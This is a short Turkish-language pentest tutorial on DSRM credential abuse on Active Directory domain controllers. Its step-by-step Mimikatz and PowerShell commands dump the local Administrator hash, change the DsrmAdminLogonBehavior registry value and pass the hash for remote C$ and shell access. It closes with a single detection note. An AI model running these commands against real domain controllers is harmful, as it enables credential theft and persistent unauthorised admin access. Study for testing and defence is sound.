DSRM Kimlik Bilgileri

Her DC içinde bir yerel yönetici hesabı vardır. Bu makinede yönetici ayrıcalıklarına sahip olduğunuzda, mimikatz kullanarak yerel Yönetici hash'ini dökebilirsiniz. Ardından, bu şifreyi etkinleştirmek için bir kayıt defterini değiştirerek bu yerel Yönetici kullanıcısına uzaktan erişim sağlayabilirsiniz.
Öncelikle, DC içindeki yerel Yönetici kullanıcısının hash'ini dökmemiz gerekiyor:

bash

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Sonra, bu hesabın çalışıp çalışmadığını kontrol etmemiz gerekiyor ve eğer kayıt defteri anahtarı "0" değerine sahipse veya yoksa, "2" olarak ayarlamanız gerekiyor:

bash

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

Daha sonra, bir PTH kullanarak C$ içeriğini listeleyebilir veya hatta bir shell elde edebilirsiniz. Bu hash ile bellek içinde yeni bir powershell oturumu oluşturmak için (PTH için) kullanılan "domain" sadece DC makinesinin adıdır:

bash

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

Daha fazla bilgi için: https://adsecurity.org/?p=1714 ve https://adsecurity.org/?p=1785

Azaltma

Olay ID 4657 - HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior denetim oluşturma/değiştirme